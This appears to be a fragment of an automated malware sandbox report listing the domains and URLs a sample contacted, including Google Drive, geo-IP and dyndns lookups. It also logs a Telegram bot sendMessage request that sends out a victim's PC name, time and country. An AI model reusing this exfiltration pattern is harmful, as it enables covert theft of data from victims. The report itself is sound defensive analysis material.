drive.usercontent.google.com 142.250.186.97 true
reallyfreegeoip.org 188.114.97.3 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 193.122.130.0 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://reallyfreegeoip.org/xml/173.254.250.71 false
    		unknown
    http://checkip.dyndns.org/ false
    • URL Reputation: safe
    		 unknown
    https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2010/24/2024%20/%208:39:12%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
      		unknown